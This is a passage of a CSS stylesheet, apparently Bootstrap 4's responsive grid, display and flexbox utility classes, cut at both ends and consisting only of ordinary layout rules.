    -ms-flex: 0 0 33.333333%;
    flex: 0 0 33.333333%;
    max-width: 33.333333%;
  }
  .col-sm-5 {
    -ms-flex: 0 0 41.666667%;
    flex: 0 0 41.666667%;
    max-width: 41.666667%;
  }
  .col-sm-6 {
    -ms-flex: 0 0 50%;
    flex: 0 0 50%;
    max-width: 50%;
  }
  .col-sm-7 {
    -ms-flex: 0 0 58.333333%;
    flex: 0 0 58.333333%;
    max-width: 58.333333%;
  }
  .col-sm-8 {
    -ms-flex: 0 0 66.666667%;
    flex: 0 0 66.666667%;
    max-width: 66.666667%;
  }
  .col-sm-9 {
    -ms-flex: 0 0 75%;
    flex: 0 0 75%;
    max-width: 75%;
  }
  .col-sm-10 {
    -ms-flex: 0 0 83.333333%;
    flex: 0 0 83.333333%;
    max-width: 83.333333%;
  }
  .col-sm-11 {
    -ms-flex: 0 0 91.666667%;
    flex: 0 0 91.666667%;
    max-width: 91.666667%;
  }
  .col-sm-12 {
    -ms-flex: 0 0 100%;
    flex: 0 0 100%;
    max-width: 100%;
  }
  .order-sm-first {
    -ms-flex-order: -1;
    order: -1;
  }
  .order-sm-last {
    -ms-flex-order: 13;
    order: 13;
  }
  .order-sm-0 {
    -ms-flex-order: 0;
    order: 0;
  }
  .order-sm-1 {
    -ms-flex-order: 1;
    order: 1;
  }
  .order-sm-2 {
    -ms-flex-order: 2;
    order: 2;
  }
  .order-sm-3 {
    -ms-flex-order: 3;
    order: 3;
  }
  .order-sm-4 {
    -ms-flex-order: 4;
    order: 4;
  }
  .order-sm-5 {
    -ms-flex-order: 5;
    order: 5;
  }
  .order-sm-6 {
    -ms-flex-order: 6;
    order: 6;
  }
  .order-sm-7 {
    -ms-flex-order: 7;
    order: 7;
  }
  .order-sm-8 {
    -ms-flex-order: 8;
    order: 8;
  }
  .order-sm-9 {
    -ms-flex-order: 9;
    order: 9;
  }
  .order-sm-10 {
    -ms-flex-order: 10;
    order: 10;
  }
  .order-sm-11 {
    -ms-flex-order: 11;
    order: 11;
  }
  .order-sm-12 {
    -ms-flex-order: 12;
    order: 12;
  }
  .offset-sm-0 {
    margin-left: 0;
  }
  .offset-sm-1 {
    margin-left: 8.333333%;
  }
  .offset-sm-2 {
    margin-left: 16.666667%;
  }
  .offset-sm-3 {
    margin-left: 25%;
  }
  .offset-sm-4 {
    margin-left: 33.333333%;
  }
  .offset-sm-5 {
    margin-left: 41.666667%;
  }
  .offset-sm-6 {
    margin-left: 50%;
  }
  .offset-sm-7 {
    margin-left: 58.333333%;
  }
  .offset-sm-8 {
    margin-left: 66.666667%;
  }
  .offset-sm-9 {
    margin-left: 75%;
  }
  .offset-sm-10 {
    margin-left: 83.333333%;
  }
  .offset-sm-11 {
    margin-left: 91.666667%;
  }
}

@media (min-width: 768px) {
  .col-md {
    -ms-flex-preferred-size: 0;
    flex-basis: 0;
    -ms-flex-positive: 1;
    flex-grow: 1;
    max-width: 100%;
  }
  .row-cols-md-1 > * {
    -ms-flex: 0 0 100%;
    flex: 0 0 100%;
    max-width: 100%;
  }
  .row-cols-md-2 > * {
    -ms-flex: 0 0 50%;
    flex: 0 0 50%;
    max-width: 50%;
  }
  .row-cols-md-3 > * {
    -ms-flex: 0 0 33.333333%;
    flex: 0 0 33.333333%;
    max-width: 33.333333%;
  }
  .row-cols-md-4 > * {
    -ms-flex: 0 0 25%;
    flex: 0 0 25%;
    max-width: 25%;
  }
  .row-cols-md-5 > * {
    -ms-flex: 0 0 20%;
    flex: 0 0 20%;
    max-width: 20%;
  }
  .row-cols-md-6 > * {
    -ms-flex: 0 0 16.666667%;
    flex: 0 0 16.666667%;
    max-width: 16.666667%;
  }
  .col-md-auto {
    -ms-flex: 0 0 auto;
    flex: 0 0 auto;
    width: auto;
    max-width: 100%;
  }
  .col-md-1 {
    -ms-flex: 0 0 8.333333%;
    flex: 0 0 8.333333%;
    max-width: 8.333333%;
  }
  .col-md-2 {
    -ms-flex: 0 0 16.666667%;
    flex: 0 0 16.666667%;
    max-width: 16.666667%;
  }
  .col-md-3 {
    -ms-flex: 0 0 25%;
    flex: 0 0 25%;
    max-width: 25%;
  }
  .col-md-4 {
    -ms-flex: 0 0 33.333333%;
    flex: 0 0 33.333333%;
    max-width: 33.333333%;
  }
  .col-md-5 {
    -ms-flex: 0 0 41.666667%;
    flex: 0 0 41.666667%;
    max-width: 41.666667%;
  }
  .col-md-6 {
    -ms-flex: 0 0 50%;
    flex: 0 0 50%;
    max-width: 50%;
  }
  .col-md-7 {
    -ms-flex: 0 0 58.333333%;
    flex: 0 0 58.333333%;
    max-width: 58.333333%;
  }
  .col-md-8 {
    -ms-flex: 0 0 66.666667%;
    flex: 0 0 66.666667%;
    max-width: 66.666667%;
  }
  .col-md-9 {
    -ms-flex: 0 0 75%;
    flex: 0 0 75%;
    max-width: 75%;
  }
  .col-md-10 {
    -ms-flex: 0 0 83.333333%;
    flex: 0 0 83.333333%;
    max-width: 83.333333%;
  }
  .col-md-11 {
    -ms-flex: 0 0 91.666667%;
    flex: 0 0 91.666667%;
    max-width: 91.666667%;
  }
  .col-md-12 {
    -ms-flex: 0 0 100%;
    flex: 0 0 100%;
    max-width: 100%;
  }
  .order-md-first {
    -ms-flex-order: -1;
    order: -1;
  }
  .order-md-last {
    -ms-flex-order: 13;
    order: 13;
  }
  .order-md-0 {
    -ms-flex-order: 0;
    order: 0;
  }
  .order-md-1 {
    -ms-flex-order: 1;
    order: 1;
  }
  .order-md-2 {
    -ms-flex-order: 2;
    order: 2;
  }
  .order-md-3 {
    -ms-flex-order: 3;
    order: 3;
  }
  .order-md-4 {
    -ms-flex-order: 4;
    order: 4;
  }
  .order-md-5 {
    -ms-flex-order: 5;
    order: 5;
  }
  .order-md-6 {
    -ms-flex-order: 6;
    order: 6;
  }
  .order-md-7 {
    -ms-flex-order: 7;
    order: 7;
  }
  .order-md-8 {
    -ms-flex-order: 8;
    order: 8;
  }
  .order-md-9 {
    -ms-flex-order: 9;
    order: 9;
  }
  .order-md-10 {
    -ms-flex-order: 10;
    order: 10;
  }
  .order-md-11 {
    -ms-flex-order: 11;
    order: 11;
  }
  .order-md-12 {
    -ms-flex-order: 12;
    order: 12;
  }
  .offset-md-0 {
    margin-left: 0;
  }
  .offset-md-1 {
    margin-left: 8.333333%;
  }
  .offset-md-2 {
    margin-left: 16.666667%;
  }
  .offset-md-3 {
    margin-left: 25%;
  }
  .offset-md-4 {
    margin-left: 33.333333%;
  }
  .offset-md-5 {
    margin-left: 41.666667%;
  }
  .offset-md-6 {
    margin-left: 50%;
  }
  .offset-md-7 {
    margin-left: 58.333333%;
  }
  .offset-md-8 {
    margin-left: 66.666667%;
  }
  .offset-md-9 {
    margin-left: 75%;
  }
  .offset-md-10 {
    margin-left: 83.333333%;
  }
  .offset-md-11 {
    margin-left: 91.666667%;
  }
}

@media (min-width: 992px) {
  .col-lg {
    -ms-flex-preferred-size: 0;
    flex-basis: 0;
    -ms-flex-positive: 1;
    flex-grow: 1;
    max-width: 100%;
  }
  .row-cols-lg-1 > * {
    -ms-flex: 0 0 100%;
    flex: 0 0 100%;
    max-width: 100%;
  }
  .row-cols-lg-2 > * {
    -ms-flex: 0 0 50%;
    flex: 0 0 50%;
    max-width: 50%;
  }
  .row-cols-lg-3 > * {
    -ms-flex: 0 0 33.333333%;
    flex: 0 0 33.333333%;
    max-width: 33.333333%;
  }
  .row-cols-lg-4 > * {
    -ms-flex: 0 0 25%;
    flex: 0 0 25%;
    max-width: 25%;
  }
  .row-cols-lg-5 > * {
    -ms-flex: 0 0 20%;
    flex: 0 0 20%;
    max-width: 20%;
  }
  .row-cols-lg-6 > * {
    -ms-flex: 0 0 16.666667%;
    flex: 0 0 16.666667%;
    max-width: 16.666667%;
  }
  .col-lg-auto {
    -ms-flex: 0 0 auto;
    flex: 0 0 auto;
    width: auto;
    max-width: 100%;
  }
  .col-lg-1 {
    -ms-flex: 0 0 8.333333%;
    flex: 0 0 8.333333%;
    max-width: 8.333333%;
  }
  .col-lg-2 {
    -ms-flex: 0 0 16.666667%;
    flex: 0 0 16.666667%;
    max-width: 16.666667%;
  }
  .col-lg-3 {
    -ms-flex: 0 0 25%;
    flex: 0 0 25%;
    max-width: 25%;
  }
  .col-lg-4 {
    -ms-flex: 0 0 33.333333%;
    flex: 0 0 33.333333%;
    max-width: 33.333333%;
  }
  .col-lg-5 {
    -ms-flex: 0 0 41.666667%;
    flex: 0 0 41.666667%;
    max-width: 41.666667%;
  }
  .col-lg-6 {
    -ms-flex: 0 0 50%;
    flex: 0 0 50%;
    max-width: 50%;
  }
  .col-lg-7 {
    -ms-flex: 0 0 58.333333%;
    flex: 0 0 58.333333%;
    max-width: 58.333333%;
  }
  .col-lg-8 {
    -ms-flex: 0 0 66.666667%;
    flex: 0 0 66.666667%;
    max-width: 66.666667%;
  }
  .col-lg-9 {
    -ms-flex: 0 0 75%;
    flex: 0 0 75%;
    max-width: 75%;
  }
  .col-lg-10 {
    -ms-flex: 0 0 83.333333%;
    flex: 0 0 83.333333%;
    max-width: 83.333333%;
  }
  .col-lg-11 {
    -ms-flex: 0 0 91.666667%;
    flex: 0 0 91.666667%;
    max-width: 91.666667%;
  }
  .col-lg-12 {
    -ms-flex: 0 0 100%;
    flex: 0 0 100%;
    max-width: 100%;
  }
  .order-lg-first {
    -ms-flex-order: -1;
    order: -1;
  }
  .order-lg-last {
    -ms-flex-order: 13;
    order: 13;
  }
  .order-lg-0 {
    -ms-flex-order: 0;
    order: 0;
  }
  .order-lg-1 {
    -ms-flex-order: 1;
    order: 1;
  }
  .order-lg-2 {
    -ms-flex-order: 2;
    order: 2;
  }
  .order-lg-3 {
    -ms-flex-order: 3;
    order: 3;
  }
  .order-lg-4 {
    -ms-flex-order: 4;
    order: 4;
  }
  .order-lg-5 {
    -ms-flex-order: 5;
    order: 5;
  }
  .order-lg-6 {
    -ms-flex-order: 6;
    order: 6;
  }
  .order-lg-7 {
    -ms-flex-order: 7;
    order: 7;
  }
  .order-lg-8 {
    -ms-flex-order: 8;
    order: 8;
  }
  .order-lg-9 {
    -ms-flex-order: 9;
    order: 9;
  }
  .order-lg-10 {
    -ms-flex-order: 10;
    order: 10;
  }
  .order-lg-11 {
    -ms-flex-order: 11;
    order: 11;
  }
  .order-lg-12 {
    -ms-flex-order: 12;
    order: 12;
  }
  .offset-lg-0 {
    margin-left: 0;
  }
  .offset-lg-1 {
    margin-left: 8.333333%;
  }
  .offset-lg-2 {
    margin-left: 16.666667%;
  }
  .offset-lg-3 {
    margin-left: 25%;
  }
  .offset-lg-4 {
    margin-left: 33.333333%;
  }
  .offset-lg-5 {
    margin-left: 41.666667%;
  }
  .offset-lg-6 {
    margin-left: 50%;
  }
  .offset-lg-7 {
    margin-left: 58.333333%;
  }
  .offset-lg-8 {
    margin-left: 66.666667%;
  }
  .offset-lg-9 {
    margin-left: 75%;
  }
  .offset-lg-10 {
    margin-left: 83.333333%;
  }
  .offset-lg-11 {
    margin-left: 91.666667%;
  }
}

@media (min-width: 1200px) {
  .col-xl {
    -ms-flex-preferred-size: 0;
    flex-basis: 0;
    -ms-flex-positive: 1;
    flex-grow: 1;
    max-width: 100%;
  }
  .row-cols-xl-1 > * {
    -ms-flex: 0 0 100%;
    flex: 0 0 100%;
    max-width: 100%;
  }
  .row-cols-xl-2 > * {
    -ms-flex: 0 0 50%;
    flex: 0 0 50%;
    max-width: 50%;
  }
  .row-cols-xl-3 > * {
    -ms-flex: 0 0 33.333333%;
    flex: 0 0 33.333333%;
    max-width: 33.333333%;
  }
  .row-cols-xl-4 > * {
    -ms-flex: 0 0 25%;
    flex: 0 0 25%;
    max-width: 25%;
  }
  .row-cols-xl-5 > * {
    -ms-flex: 0 0 20%;
    flex: 0 0 20%;
    max-width: 20%;
  }
  .row-cols-xl-6 > * {
    -ms-flex: 0 0 16.666667%;
    flex: 0 0 16.666667%;
    max-width: 16.666667%;
  }
  .col-xl-auto {
    -ms-flex: 0 0 auto;
    flex: 0 0 auto;
    width: auto;
    max-width: 100%;
  }
  .col-xl-1 {
    -ms-flex: 0 0 8.333333%;
    flex: 0 0 8.333333%;
    max-width: 8.333333%;
  }
  .col-xl-2 {
    -ms-flex: 0 0 16.666667%;
    flex: 0 0 16.666667%;
    max-width: 16.666667%;
  }
  .col-xl-3 {
    -ms-flex: 0 0 25%;
    flex: 0 0 25%;
    max-width: 25%;
  }
  .col-xl-4 {
    -ms-flex: 0 0 33.333333%;
    flex: 0 0 33.333333%;
    max-width: 33.333333%;
  }
  .col-xl-5 {
    -ms-flex: 0 0 41.666667%;
    flex: 0 0 41.666667%;
    max-width: 41.666667%;
  }
  .col-xl-6 {
    -ms-flex: 0 0 50%;
    flex: 0 0 50%;
    max-width: 50%;
  }
  .col-xl-7 {
    -ms-flex: 0 0 58.333333%;
    flex: 0 0 58.333333%;
    max-width: 58.333333%;
  }
  .col-xl-8 {
    -ms-flex: 0 0 66.666667%;
    flex: 0 0 66.666667%;
    max-width: 66.666667%;
  }
  .col-xl-9 {
    -ms-flex: 0 0 75%;
    flex: 0 0 75%;
    max-width: 75%;
  }
  .col-xl-10 {
    -ms-flex: 0 0 83.333333%;
    flex: 0 0 83.333333%;
    max-width: 83.333333%;
  }
  .col-xl-11 {
    -ms-flex: 0 0 91.666667%;
    flex: 0 0 91.666667%;
    max-width: 91.666667%;
  }
  .col-xl-12 {
    -ms-flex: 0 0 100%;
    flex: 0 0 100%;
    max-width: 100%;
  }
  .order-xl-first {
    -ms-flex-order: -1;
    order: -1;
  }
  .order-xl-last {
    -ms-flex-order: 13;
    order: 13;
  }
  .order-xl-0 {
    -ms-flex-order: 0;
    order: 0;
  }
  .order-xl-1 {
    -ms-flex-order: 1;
    order: 1;
  }
  .order-xl-2 {
    -ms-flex-order: 2;
    order: 2;
  }
  .order-xl-3 {
    -ms-flex-order: 3;
    order: 3;
  }
  .order-xl-4 {
    -ms-flex-order: 4;
    order: 4;
  }
  .order-xl-5 {
    -ms-flex-order: 5;
    order: 5;
  }
  .order-xl-6 {
    -ms-flex-order: 6;
    order: 6;
  }
  .order-xl-7 {
    -ms-flex-order: 7;
    order: 7;
  }
  .order-xl-8 {
    -ms-flex-order: 8;
    order: 8;
  }
  .order-xl-9 {
    -ms-flex-order: 9;
    order: 9;
  }
  .order-xl-10 {
    -ms-flex-order: 10;
    order: 10;
  }
  .order-xl-11 {
    -ms-flex-order: 11;
    order: 11;
  }
  .order-xl-12 {
    -ms-flex-order: 12;
    order: 12;
  }
  .offset-xl-0 {
    margin-left: 0;
  }
  .offset-xl-1 {
    margin-left: 8.333333%;
  }
  .offset-xl-2 {
    margin-left: 16.666667%;
  }
  .offset-xl-3 {
    margin-left: 25%;
  }
  .offset-xl-4 {
    margin-left: 33.333333%;
  }
  .offset-xl-5 {
    margin-left: 41.666667%;
  }
  .offset-xl-6 {
    margin-left: 50%;
  }
  .offset-xl-7 {
    margin-left: 58.333333%;
  }
  .offset-xl-8 {
    margin-left: 66.666667%;
  }
  .offset-xl-9 {
    margin-left: 75%;
  }
  .offset-xl-10 {
    margin-left: 83.333333%;
  }
  .offset-xl-11 {
    margin-left: 91.666667%;
  }
}

.d-none {
  display: none !important;
}

.d-inline {
  display: inline !important;
}

.d-inline-block {
  display: inline-block !important;
}

.d-block {
  display: block !important;
}

.d-table {
  display: table !important;
}

.d-table-row {
  display: table-row !important;
}

.d-table-cell {
  display: table-cell !important;
}

.d-flex {
  display: -ms-flexbox !important;
  display: flex !important;
}

.d-inline-flex {
  display: -ms-inline-flexbox !important;
  display: inline-flex !important;
}

@media (min-width: 576px) {
  .d-sm-none {
    display: none !important;
  }
  .d-sm-inline {
    display: inline !important;
  }
  .d-sm-inline-block {
    display: inline-block !important;
  }
  .d-sm-block {
    display: block !important;
  }
  .d-sm-table {
    display: table !important;
  }
  .d-sm-table-row {
    display: table-row !important;
  }
  .d-sm-table-cell {
    display: table-cell !important;
  }
  .d-sm-flex {
    display: -ms-flexbox !important;
    display: flex !important;
  }
  .d-sm-inline-flex {
    display: -ms-inline-flexbox !important;
    display: inline-flex !important;
  }
}

@media (min-width: 768px) {
  .d-md-none {
    display: none !important;
  }
  .d-md-inline {
    display: inline !important;
  }
  .d-md-inline-block {
    display: inline-block !important;
  }
  .d-md-block {
    display: block !important;
  }
  .d-md-table {
    display: table !important;
  }
  .d-md-table-row {
    display: table-row !important;
  }
  .d-md-table-cell {
    display: table-cell !important;
  }
  .d-md-flex {
    display: -ms-flexbox !important;
    display: flex !important;
  }
  .d-md-inline-flex {
    display: -ms-inline-flexbox !important;
    display: inline-flex !important;
  }
}

@media (min-width: 992px) {
  .d-lg-none {
    display: none !important;
  }
  .d-lg-inline {
    display: inline !important;
  }
  .d-lg-inline-block {
    display: inline-block !important;
  }
  .d-lg-block {
    display: block !important;
  }
  .d-lg-table {
    display: table !important;
  }
  .d-lg-table-row {
    display: table-row !important;
  }
  .d-lg-table-cell {
    display: table-cell !important;
  }
  .d-lg-flex {
    display: -ms-flexbox !important;
    display: flex !important;
  }
  .d-lg-inline-flex {
    display: -ms-inline-flexbox !important;
    display: inline-flex !important;
  }
}

@media (min-width: 1200px) {
  .d-xl-none {
    display: none !important;
  }
  .d-xl-inline {
    display: inline !important;
  }
  .d-xl-inline-block {
    display: inline-block !important;
  }
  .d-xl-block {
    display: block !important;
  }
  .d-xl-table {
    display: table !important;
  }
  .d-xl-table-row {
    display: table-row !important;
  }
  .d-xl-table-cell {
    display: table-cell !important;
  }
  .d-xl-flex {
    display: -ms-flexbox !important;
    display: flex !important;
  }
  .d-xl-inline-flex {
    display: -ms-inline-flexbox !important;
    display: inline-flex !important;
  }
}

@media print {
  .d-print-none {
    display: none !important;
  }
  .d-print-inline {
    display: inline !important;
  }
  .d-print-inline-block {
    display: inline-block !important;
  }
  .d-print-block {
    display: block !important;
  }
  .d-print-table {
    display: table !important;
  }
  .d-print-table-row {
    display: table-row !important;
  }
  .d-print-table-cell {
    display: table-cell !important;
  }
  .d-print-flex {
    display: -ms-flexbox !important;
    display: flex !important;
  }
  .d-print-inline-flex {
    display: -ms-inline-flexbox !important;
    display: inline-flex !important;
  }
}

.flex-row {
  -ms-flex-direction: row !important;
  flex-direction: row !important;
}

.flex-column {
  -ms-flex-direction: column !important;
  flex-direction: column !important;
}

.flex-row-reverse {
  -ms-flex-direction: row-reverse !important;
  flex-direction: row-reverse !important;
}

.flex-column-reverse {
  -ms-flex-direction: column-reverse !important;
  flex-direction: column-reverse !important;
}

.flex-wrap {
  -ms-flex-wrap: wrap !important;
  flex-wrap: wrap !important;
}

.flex-nowrap {
  -ms-flex-wrap: nowrap !important;
  flex-wrap: nowrap !important;
}

.flex-wrap-reverse {
  -ms-flex-wrap: wrap-reverse !important;
  flex-wrap: wrap-reverse !important;
}

.flex-fill {
  -ms-flex: 1 1 auto !important;
  flex: 1 1 auto !important;
}

.flex-grow-0 {
  -ms-flex-positive: 0 !important;
  flex-grow: 0 !important;
}

.flex-grow-1 {
  -ms-flex-positive: 1 !important;
  flex-grow: 1 !important;
}

.flex-shrink-0 {
  -ms-flex-negative: 0 !important;
  flex-shrink: 0 !important;
}

.flex-shrink-1 {
  -ms-flex-negative: 1 !important;
  flex-shrink: 1 !important;
}

.justify-content-start {
  -ms-flex-pack: start !important;
  justify-content: flex-start !important;
}

.justify-content-end {
  -ms-flex-pack: end !important;
  justify-content: flex-end !important;
}

.justify-content-center {
  -ms-flex-pack: center !important;
  justify-content: center !important;
}

.justify-content-between {
  -ms-flex-pack: justify !important;
  justify-content: space-between !important;
}

.justify-content-around {
  -ms-flex-pack: distribute !important;
  justify-content: space-around !important;
}

.align-items-start {
  -ms-flex-align: start !important;
  align-items: flex-start !important;
}

.align-items-end {
  -ms-flex-align: end !important;
  align-items: flex-end !important;
}

.align-items-center {
  -ms-flex-align: center !important;
  align-items: center !important;
}

.align-items-baseline {
  -ms-flex-align: baseline !important;
  align-items: baseline !important;
}

.align-items-stretch {
  -ms-flex-align: stretch !important;
  align-items: stretch !important;
}

.align-content-start {
  -ms-flex-line-pack: start !important;
  align-content: flex-start !important;
}

.align-content-end {
  -ms-flex-line-pack: end !important;
  align-content: flex-end !important;
}

.align-content-center {
  -ms-flex-line-pack: center !important;
  align-content: center !important;
}

.align-content-between {
  -ms-flex-line-pack: justify !important;
  align-content: space-between !important;
}

.align-content-around {
  -ms-flex-line-pack: distribute !important;
  align-content: space-around !important;
}

.align-content-stretch {
  -ms-flex-line-pack: stretch !important;
  align-content: stretch !important;
}

.align-self-auto {
  -ms-flex-item-align: auto !important;
  align-self: auto !important;
}

.align-self-start {
  -ms-flex-item-align: start !important;
  align-self: flex-start !important;
}

.align-self-end {
  -ms-flex-item-align: end !important;
  align-self: flex-end !important;
}

.align-self-center {
  -ms-flex-item-align: center !important;
  align-self: center !important;
}

.align-self-baseline {
  -ms-flex-item-align: baseline !important;
  align-self: baseline !important;
}

.align-self-stretch {
  -ms-flex-item-align: stretch !important;
  align-self: stretch !important;
}

@media (min-width: 576px) {
  .flex-sm-row {
    -ms-flex-direction: row !important;
    flex-direction: row !important;
  }
  .flex-sm-column {
    -ms-flex-direction: column !important;
    flex-direction: column !important;
  }
  .flex-sm-row-reverse {
    -ms-flex-direction: row-reverse !important;
    flex-direction: row-reverse !important;
  }
  .flex-sm-column-reverse {
    -ms-flex-direction: column-reverse !important;
    flex-direction: column-reverse !important;
  }
  .flex-sm-wrap {
    -ms-flex-wrap: wrap !important;
    flex-wrap: wrap !important;
  }
  .flex-sm-nowrap {
    -ms-flex-wrap: nowrap !important;
    flex-wrap: nowrap !important;
  }
  .flex-sm-wrap-reverse {
    -ms-flex-wrap: wrap-reverse !important;
    flex-wrap: wrap-reverse !important;
  }
  .flex-sm-fill {
    -ms-flex: 1 1 auto !important;
    flex: 1 1 auto !important;
  }
  .flex-sm-grow-0 {
    -ms-flex-positive: 0 !important;
    flex-grow: 0 !important;
  }
  .flex-sm-grow-1 {
    -ms-flex-positive: 1 !important;
    flex-grow: 1 !important;
  }
  .flex-sm-shrink-0 {
    -ms-flex-negative: 0 !important;
    flex-shrink: 0 !important;
  }
  .flex-sm-shrink-1 {
    -ms-flex-negative: 1 !important;
    flex-shrink: 1 !important;
  }
  .justify-content-sm-start {
    -ms-flex-pack: start !important;
    justify-content: flex-start !important;
  }
  .justify-content-sm-end {
    -ms-flex-pack: end !important;
    justify-content: flex-end !important;
  }
  .justify-content-sm-center {
    -ms-flex-pack: center !important;
    justify-content: center !important;
  }
  .justify-content-sm-between {
    -ms-flex-pack: justify !important;
    justify-content: space-between !important;
  }
  .justify-content-sm-around {
    -ms-flex-pack: distribute !important;
    justify-content: space-around !important;
  }
  .align-items-sm-start {
    -ms-flex-align: start !important;
    align-items: flex-start !important;
  }
  .align-items-sm-end {
    -ms-flex-align: end !important;
    align-items: flex-end !important;
  }
  .align-items-sm-center {
    -ms-flex-align: center !important;
    align-items: center !important;
  }
  .align-items-sm-baseline {
    -ms-flex-align: baseline !important;
    align-items: baseline !important;
  }
  .align-items-sm-stretch {
    -ms-flex-align: stretch !important;
    align-items: stretch !important;
  }
  .align-content-sm-start {
    -ms-flex-line-pack: start !important;
    align-content: flex-start !important;
  }
  .align-content-sm-end {
    -ms-flex-line-pack: end !important;
    align-content: flex-end !important;
  }
  .align-content-sm-center {
    -ms-flex-line-pack: center !important;
    align-content: center !important;
  }
  .align-content-sm-between {
    -ms-flex-line-pack: justify !important;
    align-content: space-between !important;
  }
  .align-content-sm-around {
    -ms-flex-line-pack: distribute !important;
    align-content: space-around !important;
  }
  .align-content-sm-stretch {
    -ms-flex-line-pack: stretch !important;
    align-content: stretch !important;
  }
  .align-self-sm-auto {
    -ms-flex-item-align: auto !important;
    align-self: auto !important;
  }
  .align-self-sm-start {
    -ms-flex-item-align: start !important;
    align-self: flex-start !important;
  }
  .align-self-sm-end {
    -ms-flex-item-align: end !important;
    align-self: flex-end !important;
  }
  .align-self-sm-center {
    -ms-flex-item-align: center !important;
    align-self: center !important;
  }
  .align-self-sm-baseline {
    -ms-flex-item-align: baseline !important;
    align-self: baseline !important;
  }
  .align-self-sm-stretch {
    -ms-flex-item-align: stretch !important;
    align-self: stretch !important;
  }
}

@media (min-width: 768px) {
  .flex-md-row {
    -ms-flex-direction: row !important;
    flex-direction: row !important;
  }
  .flex-md-column {
    -ms-flex-direction: column !important;
    flex-direction: column !important;
  }
  .flex-md-row-reverse {
    -ms-flex-direction: row-reverse !important;
    flex-direction: row-reverse !important;
  }
  .flex-md-column-reverse {
    -ms-flex-direction: column-reverse !important;
    flex-direction: column-reverse !important;
  }
  .flex-md-wrap {
    -ms-flex-wrap: wrap !important;
    flex-wrap: wrap !important;
  }
  .flex-md-nowrap {
    -ms-flex-wrap: nowrap !important;
    flex-wrap: nowrap !important;
  }
  .flex-md-wrap-reverse {
    -ms-flex-wrap: wrap-reverse !important;
    flex-wrap: wrap-reverse !important;
  }
  .flex-md-fill {
    -ms-flex: 1 1 auto !important;
    flex: 1 1 auto !important;
  }
  .flex-md-grow-0 {
    -ms-flex-positive: 0 !important;
    flex-grow: 0 !important;
  }
  .flex-md-grow-1 {
    -ms-flex-positive: 1 !important;
    flex-grow: 1 !important;
  }
  .flex-md-shrink-0 {
    -ms-flex-negative: 0 !important;
    flex-shrink: 0 !important;
  }
  .flex-md-shrink-1 {
    -ms-flex-negative: 1 !important;
    flex-shrink: 1 !important;
  }
  .justify-content-md-start {
    -ms-flex-pack: start !important;
    justify-content: flex-start !important;
  }
  .justify-content-md-end {
    -ms-flex-pack: end !important;
    justify-content: flex-end !important;
  }
  .justify-content-md-center {
    -ms-flex-pack: center !important;
    justify-content: center !important;
  }
  .justify-content-md-between {
    -ms-flex-pack: justify !important;
    justify-content: space-between !important;
  }
  .justify-content-md-around {
    -ms-flex-pack: distribute !important;
    justify-content: space-around !important;
  }
  .align-items-md-start {
    -ms-flex-align: start !important;
    align-items: flex-start !important;
  }
  .align-items-md-end {
    -ms-flex-align: end !important;
    align-items: flex-end !important;
  }
  .align-items-md-center {
    -ms-flex-align: center !important;
    align-items: center !important;
  }
  .align-items-md-baseline {
    -ms-flex-align: baseline !important;
    align-items: baseline !important;
  }
  .align-items-md-stretch {
    -ms-flex-align: stretch !important;
    align-items: stretch !important;
  }
  .align-content-md-start {
    -ms-flex-line-pack: start !important;
    align-content: flex-start !important;
  }
  .align-content-md-end {
    -ms-flex-line-pack: end !important;
    align-content: flex-end !important;
  }
  .align-content-md-center {
    -ms-flex-line-pack: center !important;
    align-content: center !important;
  }
  .align-content-md-between {
    -ms-flex-line-pack: justify !important;
    align-content: space-between !important;
  }
  .align-content-md-around {
    -ms-flex-line-pack: distribute !important;
    align-content: space-around !important;
  }
  .align-content-md-stretch {
    -ms-flex-line-pack: stretch !important;
    align-content: stretch !important;
  }
  .align-self-md-auto {
    -ms-flex-item-align: auto !important;
    align-self: auto !important;
  }
  .align-self-md-start {
    -ms-flex-item-align: start !important;
    align-self: flex-start !important;
  }
  .align-self-md-end {
    -ms-flex-item-align: end !important;
    align-self: flex-end !important;
  }
  .align-self-md-center {
    -ms-flex-item-align: center !important;
    align-self: center !important;
  }
  .align-self-md-baseline {
    -ms-flex-item-align: baseline !important;
    align-self: baseline !important;
  }
  .align-self-md-stretch {
    -ms-flex-item-align: stretch !important;
    align-self: stretch !important;
  }
}

@media (min-width: 992px) {
  .flex-lg-row {
    -ms-flex-direction: row !important;
    flex-direction: row !important;
  }
  .flex-lg-column {
    -ms-flex-direction: column !important;
    flex-direction: column !important;
  }
  .flex-lg-row-reverse {
    -ms-flex-direction: row-reverse !important;
    flex-direction: row-reverse !important;
  }
  .flex-lg-column-reverse {
    -ms-flex-direction: column-reverse !important;
    flex-direction: column-reverse !important;
  }
  .flex-lg-wrap {
    -ms-flex-wrap: wrap !important;
    flex-wrap: wrap !important;
  }
  .flex-lg-nowrap {
    -ms-flex-wrap: nowrap !important;
    flex-wrap: nowrap !important;
  }
  .flex-lg-wrap-reverse {
    -ms-flex-wrap: wrap-reverse !important;
    flex-wrap: wrap-reverse !important;
  }
  .flex-lg-fill {
    -ms-flex: 1 1 auto !important;
    flex: 1 1 auto !important;
  }
  .flex-lg-grow-0 {
    -ms-flex-positive: 0 !important;
    flex-grow: 0 !important;
  }
  .flex-lg-grow-1 {
    -ms-flex-positive: 1 !important;
    flex-grow: 1 !important;
  }
  .flex-lg-shrink-0 {
    -ms-flex-negative: 0 !important;
    flex-shrink: 0 !important;
  }
  .flex-lg-shrink-1 {
    -ms-flex-negative: 1 !important;
    flex-shrink: 1 !important;
  }
  .justify-content-lg-start {
    -ms-flex-pack: start !important;
    justify-content: flex-start !important;
  }
  .justify-content-lg-end {
    -ms-flex-pack: end !important;
    justify-content: flex-end !important;
  }
  .justify-content-lg-center {
    -ms-flex-pack: center !important;
    justify-content: center !important;
  }
  .justify-content-lg-between {
    -ms-flex-pack: justify !important;
    justify-content: space-between !important;
  }
  .justify-content-lg-around {
    -ms-flex-pack: distribute !important;
    justify-content: space-around !important;
  }
  .align-items-lg-start {
    -ms-flex-align: start !important;
    align-items: flex-start !important;
  }
  .align-items-lg-end {
    -ms-flex-align: end !important;
    align-items: flex-end !important;
  }
  .align-items-lg-center {
    -ms-flex-align: center !important;
    align-items: center !important;
  }
  .align-items-lg-baseline {
    -ms-flex-align: baseline !important;
    align-items: baseline !important;
  }
  .align-items-lg-stretch {
    -ms-flex-align: stretch !important;
    align-items: stretch !important;
  }
  .align-content-lg-start {
    -ms-flex-line-pack: start !important;
    align-content: flex-start !important;
  }
  .align-content-lg-end {
    -ms-flex-line-pack: end !important;
    align-content: flex-end !important;
  }
  .align-content-lg-center {
    -ms-flex-line-pack: center !important;
    align-content: center !important;
